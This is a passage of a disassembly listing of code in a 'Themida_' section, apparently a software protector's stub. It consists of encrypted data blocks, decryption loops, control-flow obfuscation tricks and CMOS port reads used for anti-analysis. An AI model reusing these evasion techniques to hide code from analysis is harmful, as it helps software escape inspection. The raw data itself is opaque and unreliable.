1E8A6316h, 6ADDC589h dd 726728C4h, 95895043h, 6A81985h, 5595FF5Bh, 6A06A80Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0E17EC351h, 138A3637h, 0BD83509Fh, 6A8077Dh dd 0A0840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 758FC357h, 0A8724A84h dd 0DE9C7h, 11380000h, 0A1351DF8h, 0FE73485Bh, 8BDE9829h dd 0A82A2DBDh, 19858B06h, 6A06A80Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 359CC350h dd 0A814D0BBh, 14E93Ah, 918C0000h, 703FC36h, 0EA4658Dh dd 907C7639h, 4A4A6CB7h, 0C62E58h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 350607F6h dd 0C7DA4A5Ch, 0A80DC185h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0F287E9EDh dd 0BD03FFFFh, 6A82E55h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0FDE05BC3h, 14A69284h dd 31A2A999h, 0A8001D8Dh, 85858D06h, 6A06A833h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0E97AC357h, 9, 1A0F5E53h, 3C38EDBDh, 489506Bh, 1D9D8B24h dd 0F06A811h, 680h, 29BD0900h, 6A06A801h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 4D1EA6ACh, 2C380DEh, 6AF8B70Fh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 62858D45h dd 6A06AD0Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 2551C353h, 8090CE57h, 66F5FECBh dd 0C083F98Bh, 0D59D8B05h, 5006A806h, 8DC0B2BFh, 24048950h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BFC35646h dd 3B84C446h, 6AF960F1h, 0E1BD8B00h, 6A06A817h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0D7F44D8Ch, 6191B1D5h, 70BF7AF6h, 8B3FDE28h, 0A82A61BDh dd 4195FF06h, 8B06A825h, 0A80EF5BDh, 7F8D8D06h, 6A06AB8Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 8EB5C356h, 28BA4E2Eh, 0FF76508Dh, 51006AD1h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 3D7B2818h, 339DBD83h, 0F0106A8h, 2E85h, 65B50900h, 6A06A807h dd 0F7816602h, 0F90F326h, 8Eh, 0BE95000h, 66000000h, 43054919h dd 13955837h, 0FF903510h, 0A81E1D95h, 0E9FC8A06h, 0D1Fh dd 0E8h, 0ED815D00h, 6AD0A6Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 29C35646h, 0C78B6021h, 7B4B4ABEh dd 9E96123h, 0A7000000h, 1DA05D6h, 85418ACCh, 7E2E858Dh dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 50CB4EC3h, 0BADDBE60h, 8961271Eh, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0BE9616C3h, 497DA17Fh, 9D8B2101h, 6A805E5h, 35FF64h dd 0F000000h, 0A8Fh, 85896000h, 6A83529h, 64615951h, 2589h dd 0F98B0000h, 0FFD8B70Fh, 0A833F185h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 928F2FE5h, 1B79BD8Bh, 0FF6A06A8h, 11B5FFFCh, 6A06A82Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 52ECC355h, 81664A97h, 89A4CAE3h, 0A80C5DBDh dd 7D95FF06h, 0E906A82Ah, 16Eh, 277D9D8Bh, 0B006A8h, 5159D8Bh dd 70E606A8h, 17C19D8Bh, 71E406A8h, 12E9h, 4E689400h, 0F4FF140Ch dd 5056C999h, 0AC312979h, 3CEC37E7h, 37830F61h, 60000001h dd 31C18D29h, 880F06A8h, 6, 289B589h, 0F6106A8h, 0CE9C8B6h dd 63000000h, 97C83685h, 6FA6EF20h, 0BAC6DC9Fh, 6, 0AE9h dd 8C11E400h, 1D4FCF93h, 8B2DB8B2h, 9D9529C1h, 0C106A821h dd 880F04E8h, 1, 0E2F766F9h, 0CE8h, 0FCD1AB00h, 0DF9D3384h dd 0B6DB48D3h, 8E9E5h, 28F10000h, 3040860Ah, 2B5F2A54h dd 0D7DF80C8h, 12E8D18Bh, 0FB000000h, 0C37D23A6h, 0BD80585Ch dd 92E1F3CBh, 25326681h, 9ED381CAh, 5F7DD246h, 9DE9h, 8860F00h dd 0F000000h, 285h, 8BD88B00h, 4E4985h, 6800F44h, 1000000h dd 0A80DADBDh, 83DD8A06h, 0B70F07C0h, 0C083DFh, 0C552B0BFh dd 0FD03B36h, 1383h, 599D8B00h, 906A807h, 0A8206185h, 54E906h dd 0F98A0000h, 0FFFF8D8Bh, 13E8FFFFh, 6000000h, 5B1DAE6Eh dd 0ED597BC4h, 65903A1Ch, 24F3A009h, 60539A9Dh, 835F5B61h dd 840F01E1h, 26h, 8D9D8B57h, 5B06A801h, 0FFFFA583h, 81FEFFFFh dd 889F82DBh, 0FE8B6626h, 4E499589h, 0B70F4400h, 0E9DAh dd 0B58D0000h, 6AC85DCh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0B1C35040h, 0AFF7818Bh, 8B0C52DAh, 0A814FDBDh dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 910CC356h, 658103B6h, 71E0FFA0h dd 0F459589h, 13E906A8h, 9F000000h, 0B82BFE65h, 1840DE0Ch dd 2B530F0Dh, 0FFC145FFh, 95FF111Bh, 6A81B31h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 66C35141h, 89B727D2h dd 0A8275D85h, 0FE3B906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0B24161C3h, 367B4BB4h dd 0FA8A3B36h, 60FCE183h, 1FB59589h, 8B6606A8h, 8BFC61CBh dd 0B8FAh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 8C8511C3h, 0EA0CEA7h, 2B5612FDh dd 9E9D2h, 1220000h, 37200F44h, 0AD19812Fh, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8B47C352h, 0A833E5BDh dd 0FBDDBF06h, 880D4CCAh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6401C357h dd 8968AE53h, 0A81D598Dh, 0E7816606h, 958B75A9h, 6A805B9h dd 0DAEF8166h, 698D8B1Fh, 6A06A814h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CFE9C352h dd 417743C5h, 81665568h, 50F411F3h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0AD9D3358h, 6A06A82Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 6A71C355h, 0B5893440h, 6A8025Dh, 0C91BD83h dd 0F0006A8h, 5184h, 0B8F900h, 0E8000000h, 8, 77F34130h dd 0D541BA71h, 14398589h, 8D5F06A8h, 0A84FAF8Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9529EF9Bh, 6A8029Dh, 0B509E1FFh, 6A81B35h, 2F0DB509h dd 0BD8306A8h, 6A80BBDh, 0A0840F00h, 52000003h, 6880Fh dd 9D8B0000h, 6A813E9h, 0BDBD835Bh, 106A80Bh, 3A0840Fh dd 6E90000h, 0FF000000h, 21D3A6EBh, 0BDBD83BFh, 306A80Bh dd 352860Fh, 85890000h, 6A81101h, 53006A60h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 6860FD3h, 8B000000h dd 0A834519Dh, 0FD9D8906h, 6606A80Ah, 0BD29D98Ch, 6A82259h dd 6A04E180h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 278FC352h, 23FCCF2Ah, 0A81A4DBDh dd 0FC90A06h, 0F084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 8F814D93h, 31BD8B54h dd 8B06A801h, 0A82641BDh, 0E1858B06h, 6A06A80Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 7C81C350h, 689EBD65h, 3363BDA8h, 0A81D5D85h, 6D852906h dd 5006A834h, 66F361BBh, 24048956h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 24C35242h, 92972A1Fh, 6AE2F727h dd 459D8B00h, 6806A81Bh, 0D1797FF4h, 481F98Bh, 0A5840B24h dd 0BD9D8B2Eh, 0FF06A800h, 0A8074195h, 0D38B6006h, 33EDB589h dd 666106A8h, 0D637C381h, 0A2278589h, 5E906ABh, 90000000h dd 27A6F74Bh, 1A3E9h, 11E800h, 0FEE30000h, 9DBC3119h, 30CEB762h dd 0A14A4DB2h, 667DD362h, 0F7FEF381h, 1F858B5Bh, 6A06ABA2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 2295C357h, 0B5317F18h, 6A82AE5h, 1B75BD2Bh dd 0BB6606A8h, 0C70D95h, 18h, 0DE9h, 0C79B7F00h, 0A6D43AE8h dd 71D8FAB6h, 0B58BED35h, 6ABA223h, 20799D8Bh, 858B06A8h dd 6A82B7Dh, 89B8CB80h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8B681616h, 0C9B589D9h dd 8B06A832h, 0A80BE185h, 95858906h, 8906A827h, 6A0446h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 39CA8FC3h, 0BC4E586Ah, 40B39610h, 6A9650h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 8F814DC3h dd 0FF7CAB54h, 0ABA21FB5h, 8C0F06h, 0E8000000h, 4, 1F03FFh dd 14E952h, 0DAF70000h, 0F595621Bh, 3A79F363h, 0B8D2514Bh dd 4ABDF9CDh, 505F0F31h, 9E860h, 0CC100000h, 4610F6Bh dd 66404E54h, 5E990BBBh, 24448B61h, 66008B04h, 8939E3BFh dd 58042444h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0FC35242h, 29BE8959h, 0A8171DBDh, 27858D06h, 8B06ABA2h dd 0A82099BDh, 6FBB5006h, 89077DB3h, 80602404h, 0EF81C9D1h dd 2009E7D9h, 4195FF61h, 0BB06A807h, 5F2F8480h, 85C7FC61h dd 6A80BBDh, 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0BCC35747h, 83F56DEBh, 0ABA227BDh, 840F0006h, 34h dd 6880Fh, 0BD8B0000h, 6A8151Dh, 3EE9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 870FEEC2h, 0 ; --------------------------------------------------------------------------- loc_59ACE4: ; CODE XREF: Themida_:0059ACFBj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_59ACE4 jmp short loc_59AD35 ; --------------------------------------------------------------------------- loc_59ACFF: ; CODE XREF: Themida_:0059AD16j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_59ACFF jmp short loc_59AD35 ; --------------------------------------------------------------------------- loc_59AD1A: ; CODE XREF: Themida_:0059AD31j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_59AD1A jmp short $+2 loc_59AD35: ; CODE XREF: Themida_:0059ACFDj ; Themida_:0059AD18j mov eax, eax mov edi, 6BBF8B3Bh pusha mov bl, 6 mov ebx, [ebp+6A82AF1h] popa jbe loc_59AD51 mov ebx, 44DB48A4h loc_59AD51: ; CODE XREF: Themida_:0059AD46j cmp dword ptr [ebp+6A80BBDh], 3 jnz loc_59B16E push 0 push ebp call sub_59AD69 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59AD69 proc near ; CODE XREF: Themida_:0059AD61p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_59AD69 endp ; --------------------------------------------------------------------------- cmp bl, [edi-28h] fmul qword ptr [ecx+0B6441DBh] mov ebp, 6A81529h cmp dword ptr [ebp+6ABA227h], 0 jz loc_59B16E push 0 push ebp call sub_59AD9F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59AD9F proc near ; CODE XREF: Themida_:0059AD97p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_59AD9F endp ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- sub [esi+edi*8-24h], ebx ja short near ptr loc_59ADC4+1 mov edi, 0D98B66DFh push dword ptr [ebp+6ABA227h] push 0 push ecx loc_59ADC4: ; CODE XREF: Themida_:0059ADB4j call sub_59ADCC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59ADCC proc near ; CODE XREF: Themida_:loc_59ADC4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_59ADCC endp ; --------------------------------------------------------------------------- dd 8DCECA12h, 0AD062F26h, 8166F6FBh, 0F2925D3h, 58Bh, 0F3816600h dd 95FF82B6h, 6A815F9h, 21399D23h, 0B58B06A8h, 6ABA21Bh dd 8E9h, 0C2A6E800h, 4F350BCDh, 106C723h, 8B000100h, 0A822419Dh dd 9E95006h, 1D000000h, 2E4E5A89h, 83A5230Eh, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 25FEC355h, 7FA5C74Eh, 2960394Eh, 0A8007D8Dh dd 519D8906h, 6106A81Bh, 0A227B5FFh, 0BF6606ABh, 95FF0E12h dd 6A82199h, 8BFAB70Fh, 0ABA21BB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A58FD808h dd 8D891A37h, 6A81A51h, 189AEF81h, 858B3825h, 6A80E41h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 75C35747h dd 86897363h, 0C4h, 591BD8Bh, 958B06A8h, 6A805B9h, 88A0Fh dd 0F500000h, 84h, 0C2835F00h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 20508983h dd 0A5BD89FCh, 8D06A831h, 0ABB7CE85h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 5DBF9B97h, 9C56ED9Bh, 870F6AC4h, 1, 21BD8BF5h, 8906A816h dd 0B886h, 61853100h, 6A06A822h, 0BB665200h, 0FF5F8D09h dd 0ABA227B5h, 25BD0906h, 0FF06A822h, 0A81E1D95h, 70DF8006h dd 5840F50h, 0BB000000h, 1BFDA729h, 80243489h, 8F0FE4E3h dd 3, 0FFCBCF80h, 0ABA227B5h, 50EF8106h, 0FF1B7E2Bh, 0A82A6995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 102D1742h, 6625D44Fh, 8394D0BFh, 0A82E3DBDh dd 840F0006h, 6Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0AEC35343h, 89F9F152h, 0C781661Eh, 0BF96FCCBh dd 6F458FD3h, 0FE850h, 0FFF70000h, 0F5C19BB1h, 0FD8F20F7h dd 3F26DD29h, 83BB66E0h, 6A965B7Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6159C353h dd 0EF74EEAEh, 0E05416AAh, 0A227B5FFh, 6A06ABh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 1DD4A7C3h, 0B9BCEDF9h, 95FFF88Bh, 6A83185h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 0B9702A0Eh dd 232CF7A1h, 0A82B49BDh, 27B5FF06h, 6A06ABA2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0DBB5C353h, 1FB96EDh, 0F5595FFh, 0EE806A8h, 69000000h dd 6D712079h, 0C896E813h, 0DF81FDF7h, 0C99D8997h, 5F06A820h dd 77DBD83h, 0F0206A8h, 7184h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0FA1E5DE8h dd 0E4226970h, 7E96034h, 3F000000h, 54A913BCh, 8D8B4A9Dh dd 6A81FBDh, 19858B61h, 0F06A80Dh, 28Ch, 0C6DD8A00h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F1145C3h, 580h, 0D7816600h, 85C760CDh, 6A80DC1h, 0 ; --------------------------------------------------------------------------- mov ebx, esi loc_59B16E: ; CODE XREF: Themida_:0059AD58j ; Themida_:0059AD8Ej jmp near ptr dword_59A0D0+48Ah ; --------------------------------------------------------------------------- push 0 push esi call sub_59B17E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B17E proc near ; CODE XREF: Themida_:0059B176p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_59B17E endp ; --------------------------------------------------------------------------- dw 0CE26h dd 8DC18B71h, 0A8338585h, 9D8B5106h, 6A80911h, 5250905Bh dd 0EE9h, 91170600h, 8368AFh, 0E0C321AFh, 0FC4EB95h, 5A83B731h dd 89905058h, 0A80B2595h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 51A0C357h dd 909A6B59h, 0D6BBD405h, 6A006AFCh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9636C351h dd 0AE9h, 0A3159B00h, 6B673768h, 8DFD8098h, 0AD196085h dd 0F18D8906h, 8B06A80Fh, 0A816CD9Dh, 5C08306h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0ECC35646h, 375C3058h dd 0A186EDCBh, 0EE946h, 0DC8F0000h, 0A950A616h, 7296B2FBh dd 8F4FD11Ch, 10E990h, 8DCA0000h, 0CB84546Ah, 25D687F8h dd 0F94FEBD6h, 6650274Fh, 90808ABBh, 0B008D381h, 6AF81BEEh dd 0BD9D8B00h, 6A06A80Eh, 1DBD8B00h, 0FF06A816h, 0A8254195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0F757016h, 0F8925CBh, 0FB8BFFBFh, 8C7F8D8Dh dd 0F38106ABh, 1BC1F748h, 870FD1FFh, 2, 0B70FDD8Ah, 9DBD83F8h dd 106A833h, 7F850Fh, 0BD010000h, 6A82129h, 6A026Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 2F44A1C3h, 5ED28734h, 0BB66EEB3h, 66504F75h, 489F98Bh dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0E4570B97h, 7BBB6653h, 95FF5F0Fh, 6A81E1Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CBC35747h dd 0D8DE9F8h, 0E80000h, 5D000000h, 196AED81h, 6A06ADh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 53286C3h, 617C9D3Eh, 2ECD9D89h, 9D0B06A8h, 6A80DD1h dd 7E2E858Dh, 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 9F0E12C3h, 13CF07A5h, 8B47F772h dd 0A80B49BDh, 1853106h, 9006A81Ch, 53B86660h, 505061C4h dd 0F525052h, 5A2EBB31h, 585A55FEh, 585A310Fh, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0B5895982h, 6A80565h, 35FF64h, 89000000h, 0A82D819Dh dd 25896406h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_59B43F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B43F proc near ; CODE XREF: Themida_:0059B437p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_59B43F endp ; --------------------------------------------------------------------------- jz short loc_59B484 mov ebp, 6A81D59h mov bh, 0BAh inc dword ptr [ebp+6A833F1h] mov [ebp+6A80C5Dh], eax push 0FFFFFFFFh push 0 push edi call sub_59B471 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B471 proc near ; CODE XREF: Themida_:0059B469p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_59B471 endp ; --------------------------------------------------------------------------- db 0D7h, 0ECh, 34h ; --------------------------------------------------------------------------- loc_59B484: ; CODE XREF: Themida_:0059B44Fj add cl, [esi+1DB5897Dh] or [eax+51BD8B06h], ebp daa test al, 6 push dword ptr [ebp+6A80915h] push 0 push ecx call sub_59B4A4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B4A4 proc near ; CODE XREF: Themida_:0059B49Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_59B4A4 endp ; --------------------------------------------------------------------------- adc cl, [ebx-57F92A43h] push es mov ebx, 1619610Fh call dword ptr [ebp+6A82A7Dh] jmp loc_59B5EC ; --------------------------------------------------------------------------- jmp loc_59B4D8 ; --------------------------------------------------------------------------- dd 72B7E69Eh, 0D14C2873h ; --------------------------------------------------------------------------- loc_59B4D8: ; CODE XREF: Themida_:0059B4CBj jmp loc_59B4EE ; --------------------------------------------------------------------------- db 5, 0E8h, 88h dd 1FBDEC4Eh, 9AD9BC0Dh, 0BC830416h db 0F7h, 61h ; --------------------------------------------------------------------------- loc_59B4EE: ; CODE XREF: Themida_:loc_59B4D8j mov al, 0 movzx edi, di out 70h, al ; CMOS Memory: ; used by real-time clock jnp loc_59B4FC cld loc_59B4FC: ; CODE XREF: Themida_:0059B4F5j in al, 71h ; CMOS Memory jge $+6 cmp al, 61h jnb loc_59B5EC mov ebx, [ebp+6A80AA5h] movzx ecx, al xor ebx, [ebp+6A807C9h] mov edx, 6 sub ebx, 0E6758F7h mov eax, ecx call sub_59B539 or al, 0FFh mov esp, 2E104653h mov eax, 2B6499B9h ; =============== S U B R O U T I N E ======================================= sub_59B539 proc near ; CODE XREF: Themida_:0059B528p jbe loc_59B545 mov ebx, [ebp+6A82B9Dh] loc_59B545: ; CODE XREF: sub_59B539j pop edi shr eax, 4 mov di, cx mul dx mov [ebp+6A816DDh], edx sub ecx, eax jo loc_59B563 mov [ebp+6A82999h], eax loc_59B563: ; CODE XREF: sub_59B539+1Ej mov edx, ecx push edx mov edi, [ebp+6A8093Dh] pop edi jmp loc_59B5EC ; --------------------------------------------------------------------------- xor edi, [ebp+6A81F9Dh] mov eax, [ebp+505F4C4Ch] add eax, 7 mov bl, 0B2h add eax, 0 mov bx, dx mov [ebp+6A81F61h], ebx cmp edx, eax jnb loc_59B5AC movsx edi, cx mov ebx, [ebp+6A81001h] jmp loc_59B5EC ; --------------------------------------------------------------------------- movzx ebx, cx mov di, 0A987h loc_59B5AC: ; CODE XREF: sub_59B539+58j mov ecx, [ebp-1] and ecx, 1 jz loc_59B5EC jmp loc_59B5CD ; --------------------------------------------------------------------------- dd 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h db 70h ; --------------------------------------------------------------------------- loc_59B5CD: ; CODE XREF: sub_59B539+82j and dword ptr [ebp-1], 0FFFFFFFEh mov ebx, [ebp+6A831D9h] mov [ebp+505F4C4Ch], edx jge loc_59B5E7 cmc loc_59B5E7: ; CODE XREF: sub_59B539+A7j jmp $+5 loc_59B5EC: ; CODE XREF: Themida_:0059B4C6j ; Themida_:0059B506j ... lea esi, [ebp+6AC95BFh] mov [ebp+6A80FB5h], edx push 0 and di, 0E3E6h call dword ptr [ebp+6A81B31h] mov di, 0B682h mov ecx, 102Ah sub bl, 0ADh and ecx, 0FFFFFFFCh jmp loc_59B622 ; --------------------------------------------------------------------------- db 0F3h, 0A8h, 1Eh dd 0FF7F9C5Fh db 49h, 73h ; --------------------------------------------------------------------------- loc_59B622: ; CODE XREF: sub_59B539+DBj cld and bx, 2FAAh sub eax, eax jmp loc_59B636 ; --------------------------------------------------------------------------- db 0A3h dd 95E2B26Fh db 75h, 92h ; --------------------------------------------------------------------------- loc_59B636: ; CODE XREF: sub_59B539+F1j sub edx, edx mov edi, 6B209975h loc_59B63D: ; CODE XREF: sub_59B539+10Ej lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_59B63D push 0 push ecx call sub_59B654 and [ecx-3Dh], bl sub_59B539 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59B654 proc near ; CODE XREF: sub_59B539+113p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_59B654 endp ; --------------------------------------------------------------------------- adc cl, ds:89547B11h popf sub eax, 8B06A800h popf popa daa test al, 6 add [ebp+6A81671h], esi sub [ebp+6A819DDh], esi mov [ebp+6A81401h], ebx or eax, 88h push 0 push edi call sub_59B697 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B697 proc near ; CODE XREF: Themida_:0059B68Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_59B697 endp ; --------------------------------------------------------------------------- db 0CEh ; --------------------------------------------------------------------------- mov edx, 5B9958Bh test al, 6 pusha add dx, 55BBh or [ebp+6A814B9h], esi popa mov ecx, [ebp+6A81469h] push esi and di, 0D4C0h pop edi push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax mov di, dx cmc cmp dword ptr [ebp+6A80C91h], 0 jz loc_59B779 cmc mov eax, 0 push 0 push ecx call sub_59B6FD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B6FD proc near ; CODE XREF: Themida_:0059B6F5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_59B6FD endp ; --------------------------------------------------------------------------- db 0BAh, 1Bh, 2 dd 959D293Bh, 6006A80Ah, 31E5BD31h, 0BD8906A8h, 6A8350Dh dd 0AF8D8D61h, 0E806A84Fh, 13h, 0C4D450BBh, 0B0BF1862h dd 0F496DC0Fh, 4978CF66h, 56B62436h, 15A18D31h, 5B5F06A8h dd 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 90C27BC3h, 2D9D8B1Dh, 8906A834h, 0A80B01B5h ; --------------------------------------------------------------------------- push es loc_59B779: ; CODE XREF: Themida_:0059B6E6j cmp dword ptr [ebp+6A80BBDh], 0 jz loc_59BC28 push 0 push esi call sub_59B791 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B791 proc near ; CODE XREF: Themida_:0059B789p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_59B791 endp ; --------------------------------------------------------------------------- db 2Fh, 62h, 0A1h ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6A80BBDh], 1 jz loc_59BC43 push 0 push ebx call sub_59B7BC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B7BC proc near ; CODE XREF: Themida_:0059B7B4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_59B7BC endp ; --------------------------------------------------------------------------- dd 325AE5F0h, 0E821EF71h, 11h, 0A093EF93h, 2298ED1Dh, 0B1ED0C7Dh dd 85CE3219h, 0C38060F3h, 835F61F1h, 0A80BBDBDh, 860F0306h dd 411h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 33C35747h, 5E71F3DBh, 85AF645Dh, 14E8h, 74B0000h dd 2D21B105h, 0FADAF46Ah, 7E6DAAF4h, 0DE80A3ADh, 5FFC8AECh dd 16818D29h, 0F6006A8h, 68Bh, 0C9958900h, 6606A81Bh, 6AD98Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 